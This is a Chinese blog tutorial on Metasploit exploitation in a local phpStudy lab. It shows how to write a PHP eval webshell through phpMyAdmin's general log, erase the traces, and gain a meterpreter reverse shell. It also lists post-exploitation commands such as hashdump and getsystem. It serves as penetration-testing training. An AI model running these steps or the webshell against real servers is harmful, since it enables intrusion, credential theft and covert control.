第三章-4 Metasploit漏洞利用模块

每日一句:
		如何一别朱仙镇,不见将军奏凯歌。
									——于谦《岳忠武王祠》
本文内容:
		~快速搭建有限制的测试环境
		~实战漏洞利用
		~MSF会话常用命令
		~其他问题补充

一、快速搭建有限制的测试环境

	问:搭建测试环境的作用是什么?
	答:在本地测试漏洞,然后授权的情况下进行相关漏洞挖掘

	
	0,安装虚拟机,win server2008
	
	1,安装phpstudy
	
			~百度,PHP study,进官网直接下载就行
			~安装PHP study可能需要一些环境变量
					配置问题:http://phpstudy.php.cn/wenda/388.html
					运行库:  http://www.php.cn/xiazai/gongju/1351
					
			问:PHPstudy的作用是什么?
			答:phpstudy是一个快速搭建网站的环境的程序集成包,帮助我们搭建php站点非常方便。
			
			问:搭建PHP版本的靶场的一般过程是什么?
			答:
				1.下载源码,2复制源码文件到www目录下,
				3.修改源码配置文件来连接数据库文件,4.设置域名访问,也可以不用去设置


					
	2,在虚拟机中新建用户(以win为例)
			方法一:
					~创建一个低权限用户
							net user www www /add		
							===cmd命令创建www用户,密码也是www
							===假如创建出错,大概路是权限不够,以管理员身份运行cmd
							
					~查看有没有创建成功
							net user
			方法二:
					~按键盘win键,输入“计算机管理”
					~点击左侧栏目中,本地用户和组,
					~点击用户,
					~右侧空旷栏目中,右击直接创建用户
					
	3,分配给用户低权限
			~PHP study选择系统服务
			~找到PHP study的安装地址
			~进入“ phpstudy/PhPTutorial/Apache ”目录
			~右击logs文件夹,选择属性
			~选择安全选项,选择编辑按钮
			~选择添加
			~输入,www,点击检查名称,点击确定
			~这时,可以在组或同户名里看到www用户
			~点击www用户,下边权限中,完全控制处点击允许,点击应用
					
					这是配置好了apache,接着配置mysql
					
			~进入“ phpstudy/PhPTutorial/Mysql ”目录
			~右击data文件夹
			~剩下的步骤参考上边
					===在添加成功时,可能会提示一些错误
					===不用管,直接一直点击继续
					
	4,服务设置登陆用户	
			~PHP study设置中,选择系统服务
			~停止phpstudy
			~打开任务管理器
			~点击服务,找到apache
			
					问:有的同学找不到此服务?
					答:那就安装一个,
					步骤:
							~点击phpstudy其他选项菜单
							~服务管理器
							~Apache
							~安装服务
							
			~点击属性,点击登录
			~点击此账户,点击浏览,
			~输入www,检查名称
			~点击确定,密码处,输入www
			~点击应用,确定
			
					同样的步骤将mysql服务也配置一下
			
			~将服务中的apache与mysql重启一下,即可
			
	5,Phpmyadmin获取Webshell		
			~将www文件夹下的phpmyadmin文件夹移出去
			~下载  特殊的phpmyadmin(可以找我要)
			~将php study中的php版本调为5.0以上,不然跑不动phpmyadmin
			
			进入phpmyadmin:
				~192.168.221.1			===虚拟机win server 2008的IP
				~访问192.168.221.1/phpMyadmin/index.php
				~登录,账号:root,密码:root123;
				实战中,这个密码是可以通过上一节的内容爆破出
			
			开启general log变量
				~进入192.168.221.1/phpMyadmin/index.php
				~点击中间上方的 “变量”设置,找到general log
				~点击编辑,将OFF改为ON
				~将下方的general log file也可以改一下路径
					如改为:xxxxx\www\shell0.php
					
			进入sql语句执行模块
				~点击SQL
				~输入:	select "<?php @eval($_REQUEST[a]);?>";
				~执行,此时,此日志已经记录下我们的操作即,我们写到服务器上一个一句马
				~访问该一句马,192.168.221.1/shell0.php
						小问题,访问此页面,找不到,一句马
						直接去打开shell0.php,看看里边有没有,不出意外是有的
				~给个传参/a=phpinfo();看看是否出现想要的信息,记得往下拉一下
				~在利用一些webshell管理工具去 连接一下
				
			稍微处理一下 痕迹
				~将变量“general log”改回来

二、实战漏洞利用

	说明:
			在上边我们已经通过手工的方法拿到网站的webshell了,
			接下来介绍的是通过msf拿到网站的webshell。
	
	0,打开数据库
		service postgresql start
		
	1,打开msf
		msfconsole		或者	msf  TAb键补全
	
			扫描靶机 		msf > auxiliary/scanner/http/phpmyadmin_login	

			选择exploit		use exploit/multi/http/phpmyadmin_lfi_rce

			选择payload		set payload php/meterpreter/reverse_tcp			//这是一个反弹shell,下边解释

			攻击	 		run/exploit
		
		注意:期间查看一下options,进行set设置一些配置
	
	2,反弹shell
			连接我们攻击成功靶机的会话,一般分为正向链接和反向连接
			
			~正向连接:
					对方服务器开放端口,让我们去访问
					例如:telnet 127.0.0.1:80
			~反向连接:
					我们开放端口,让靶机来访问我们
					也就是让对方来找我们的端口,
					例如:反弹shell
		
			问:为什么要反弹shell?
					1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
						它的ip会动态改变,你不能持续控制。
					2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
					3.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,
						什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
			
			总结反弹连接:
				攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

三、MSF会话常用命令

	问:当我们攻击成功了,即拿到对方服务器了一般会用到什么指令呢?
	答:
		文件系统命令
				edit -- 编辑文件
				getlwd -- 显示本地工作目录
				Dir –列出目标文件目录
				mkdir -- 创建目录
		用户界面命令
				getdesktop -- 获取当前的 Meterpreter 桌面
				screenshot -- 获取目标桌面屏幕截图
		网络、系统命令
				ipconfig -- 显示网络接口信息
				netstat -- 显示网络连接信息
				execute -- 执行命令
				ps -- 列出正在运行的进程
				sysinfo -- 获取远程系统的有关信息,例如 OS
		提权、密码命令
				getsystem -- 尝试将您的权限提升为本地系统的权限
				hashdump -- 获取目标 NTLM-HASH 值
	
		//这些都是可以算是后渗透截断的命令了
	
	注意:
			因为选择不同的payload,所以建立后的会话不同。
			后渗透的命令有的在这个会话可以使用,在另一个可能不可以直接使用
			扩展一下思路:
				有的payload能执行的权限可能比较低,但是看看有没有一些创建文件的权限,
				上传文件的权限等等,然后上传大马\或者对应提权exp,直接拿到最高权限

四:其他问题补充

	问:PHPstudy只能搭建PHP站点么?
			不仅仅,还能搭建jsp的,不过我们要下载jsp版本的。官网:www.phpstudy.net

	问:在使用phpstudy的过程中一般会用到那些问题?
			很多,例如端口占用等等的情况。补充一下官方的回答帖子,同学们可以看下。
			http://phpstudy.php.cn/wenda/388.html

	问:meterpreter是什么?
			meterpreter是我们后渗透测试控制台,帮助我们在拿到一定权限下进行下一步测试
	
	问:使用docker搭建测试环境比较好吧?
			是的,但是,我们使用windows比较方便,快速
	
			不懂docker的同学,看这里。
			https://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html
			
	问:虚拟机的 MSF 测试MS17的时候 直接扫外网好使么 还是得用外网服务器 他俩有区别没?
			区别不大,就是我们需要设置的主机地址不一样而已
	
	问:使用MSF进行漏洞测试的流程是怎么样的?
			1,漏洞扫描,2,选择exp,3,选择正确的payload,4,攻击
	
	问:为什么phpmyadmin漏洞没有测试出来?
			这个是脚本的问题,我们要看下我们的防火墙是否开启,以及重启试试
原创文章 61 获赞 13 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/106093100
今日推荐